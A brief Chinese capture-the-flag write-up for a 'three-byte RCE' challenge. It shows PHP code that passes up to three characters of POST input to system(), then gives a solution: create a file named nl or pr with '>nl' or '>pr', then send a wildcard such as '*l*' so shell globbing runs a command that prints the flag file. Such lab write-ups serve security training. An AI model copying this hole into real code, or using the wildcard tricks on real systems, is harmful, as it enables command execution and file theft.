极限命令执行6三字节RCE

<?php
error_reporting(0);
if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 3) {sleep(1);system($ctfshow);}
}else{highlight_file(__FILE__);
}
?>

原理请看这篇文章
目前发现一个新解法，根据实际查询到的文件名，先执行>nl生成nl文件，然后执行*l*即可触发nl flag.php
或者先执行>pr生成pr文件，然后执行*r*即可触发pr whereisflag.php